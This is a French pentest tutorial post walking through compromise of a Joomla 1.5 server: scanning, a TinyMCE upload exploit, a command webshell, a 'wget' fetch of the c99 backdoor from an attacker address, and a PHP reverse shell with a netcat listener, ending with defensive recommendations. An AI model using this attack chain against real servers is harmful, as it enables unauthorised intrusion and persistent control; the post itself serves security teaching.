Méthodologie d’un test intrusion d’un serveur web en pratique. Partie 3 – La recherche et exploitation de vulnérabilités : Intrusion via Joomla

Petit rappel : si vous désirez faire réaliser un audit, vous trouverez toutes les informations sur mon site : https://resistez-aux-hackeurs.com

NOus allons voir maintenant comment exploiter un site web quii possède une version de Joomla vulnérable et comment prendre le contrôle du serveur via un webshell (outil qui permet d’exécuter des commandes à distance sur un serveur web)

L’url d’accès à Joomla est http://<ip_du_serveur>/joomla (détecté par nessus)

Figure 1 Serveur Web

On constate que le site web fonctionne avec un CMS de type Joomla. Pour détecter un site web fonctionnant sous un CMS, on peut utiliser l’application WhatWeb[1]. C’est un outil Open Source permettant d’identifier les applications fonctionnant derrière des serveurs Web : CMS, plates-formes de blogs, serveurs (Apache, IIS…) et autres.

Figure 2 Détection du CMS utilisé

WhatWeb a détecté que la version de Joomla utilisée était la 1.5. Il nous reste maintenant à savoir s’il existe des vulnérabilités concernant cette version de Joomla.

Pour détecter les vulnérabilités liées à Joomla, on utilise l’outil Joomscan[2]. Joomscan permet de scanner un site web sous Joomla et d’indiquer quelles sont les vulnérabilités découvertes.

Figure 3 Scanneur de failles Joomla

Joomscan a détecté 6 vulnérabilités. Penchons-nous sur les plus critiques.

Figure 4 Faille TinyMCE

TinyMCE est un des composants de Joomla, celui-ci souffre de nombreuses vulnérabilités dont une qui permet l’upload de fichiers sur le serveur. Il nous suffirait d’uploader un shell sur le serveur web ce qui nous permettrait d’avoir un premier accès au poste cible.

Pour exploiter cette faille, nous allons utiliser Metasploit[3]. Metasploit est un framework permettant de fournir des informations sur des vulnérabilités et de les exploiter. Nous commençons par rechercher l’exploit correspondant à la vulnérabilité découverte dans Joomla.

Figure 5 Metasploit – Exploit Joomla

Puis nous configurons l’exploit en indiquant l’adresse du serveur Web que nous visons ainsi que le chemin de Joomla.

Figure 6 Metasploit – Configuration de l’exploit

En utilisant la commande <check » de Metasploit, nous pouvons déterminer si notre cible est bien vulnérable, ce qui semble être le cas.

Figure 8 Echec Exploit Joomla

Même si la cible est bien vulnérable, Metasploit n’a pas pu uploader de fichier et n’a donc pas pu tirer parti de la vulnérabilité. Nous pourrions aussi debugger l’erreur mais souvent nous n’avons pas accès aux journaux du serveur audité, donc nous apprenons à faire différemment (et sans metasploit !) Nous poursuivons nos recherches sur Internet afin de découvrir un autre exploit qui on l’espère sera plus fonctionnel. En utilisant le site ExploitDB[4], qui est un moteur de recherche pour les exploits, nous découvrons un code exploitable pour la même vulnérabilité.

Figure 9 Exploit PHP pour Joomla

Afin d’exploiter la vulnérabilité, nous avons un script PHP. Une fois téléchargé et configuré pour viser notre poste cible, nous l’exécutons.

Figure 9 Exploit Joomla

L’exploit a bien fonctionné. Un fichier <shell.php> a été créé sur notre serveur cible.

Figure 10 Shell sur la machine cible

Le fichier shell.php contient une ligne qui permet d’exécuter des commandes à distance.

Figure 11 Contenu de shell.php

Pour faire exécuter une commande à distance sur le serveur web, il suffit d’appeler notre script php et de lui passer une commande en paramètre. Par exemple, en passant en paramètre <cat /etc/password>, nous voyons le contenu du fichier sur le serveur distant.

Figure 12 Commande exécutée à distance
Figure 13 Résultat de notre commande

Nous avons désormais un accès à distance sur le serveur web. Afin d’utiliser un shell plus évolué (interface graphique), nous téléchargeons c99, qui est une backdoor PHP avec une interface graphique. Pour uploader cette backdoor sur le poste à distance, nous utilisons notre shell (commande : wget http://<adresse_de_notre_backdoor>). Une fois notre backdoor uploadée sur le serveur, celle-ci est accessible en tapant simplement son adresse.

Figure 14 Backdoor php c99

Edit : De nombreuses analyses circulent au sujet du fait que la backdoor c99 est elle-même backdorée[5][6][7]. Il est donc déconseillé d’utiliser celle-ci que ça soit de manière personnelle ou encore pire professionnelle. Attention aux backdoors utilisées… Voici quelques backdoors php réputées « sûres » :

Néanmoins parfois les pare-feux et autres outils de sécurité bloquent les accès et il peut être difficile de les traverser. Afin de contourner cette problématique, nous pouvons utiliser un reverse-shell. Un reverse-shell, c’est quand on force l’ordinateur de la cible à se connecter à notre ordinateur plutôt que l’inverse (normalement on met en place un shell sur l’ordinateur distant et c’est notre ordinateur qui s’y connecte).

Figure 15 Fonctionnement reverse-shell

Il n’est pas possible pour le pirate de se connecter sur le port 4444 car ce port est bloqué par le pare-feu pour une connexion entrante (connexion qui vient de l’extérieur). Avec le reverse-shell, le poste du pirate est en attente de connexion sur le port 4444, et c’est le serveur vulnérable qui va initier la connexion. Comme c’est une connexion sortante, et que celle-ci est initiée par un poste à l’intérieur du réseau, celle-ci pourra traverser le pare-feu.

Pour mettre en place notre reverse-shell, nous allons utiliser l’outil php-reverse-shell[8].

Figure 16 L’outil PHP-reverse-shell

Pour utiliser cet outil, il faut d’abord le configurer et indiquer l’adresse à laquelle notre script doit se connecter.

Figure 17 Configuration du php-reverse-shell

Une fois configuré, on uploade le script grâce à notre shell.

Figure 18 Upload du reverse-shell

Avant de lancer notre script, nous devons nous mettre en écoute afin que l’ordinateur à distance puisse se connecter à nous. Pour cela, on utilise l’outil netcat[9]. Netcat est un utilitaire Unix simple qui permet de gérer les sockets (connexions réseaux), c’est-à-dire qu’il est capable d’établir n’importe qu’elle connexion à un serveur, en choisissant le port, l’IP etc.

Nous configurons netcat pour qu’il soit en attente de connexion sur le port 1234 (le port configuré dans notre fichier php-reverse-shell).

Figure 19 Netcat en attente de connexion sur le port 1234

Une fois Netcat en attente de connexion, nous exécutons le fichier php-reverse-shell sur le serveur distant.

Figure 20 Exécution du reverse-shell

Une fois exécuté sur notre machine cible, le script se connecte directement sur notre machine. Voilà ce qui s’affiche sur notre poste.

Figure 21 Reverse-shell sur notre poste

Maintenant que nous avons un accès depuis notre machine, la prochaine étape va être d’élever nos droits utilisateurs afin de devenir administrateur de la machine. Ceci nous permettra de contrôler totalement la machine cible et de pouvoir en garder le contrôle (installation de backdoors évoluées, nettoyage des fichiers logs, récupération des mots de passe des utilisateurs, etc.)

Recommandations :

– mettre à jour le CMS ET les modules utilisés

– utiliser un logiciel de type WAF (par exemple modsecurity) pour détecter et bloquer les requêtes web malveillantes

– utiliser le module mod_evasive d’Apache pour empêcher les accès répétés au serveur web (et ainsi bloquer les scanneurs de vulnérabilités qui réalisent un nombre élevé de requêtes)

– utiliser le composant iptables pour empêcher le serveur de se connecter vers l’extérieur (dans le cas présent, cela aurait rendu plus difficile la mise en place d’un reverse-shell)


[1] http://www.morningstarsecurity.com/research/whatweb

[2] http://sourceforge.net/projects/joomscan/

[3] http://www.metasploit.com/

[4] https://www.exploit-db.com/

[5] https://www.lexsi.com/securityhub/c99-php-meme-les-backdoors-backdoorees/

[6] http://korben.info/c99-php-backdoor.html

[7] https://thehackerblog.com/every-c99-php-shell-is-backdoored-aka-free-shells/

[8] http://pentestmonkey.net/tools/web-shells/php-reverse-shell

[9] http://netcat.sourceforge.net/

Vues : 21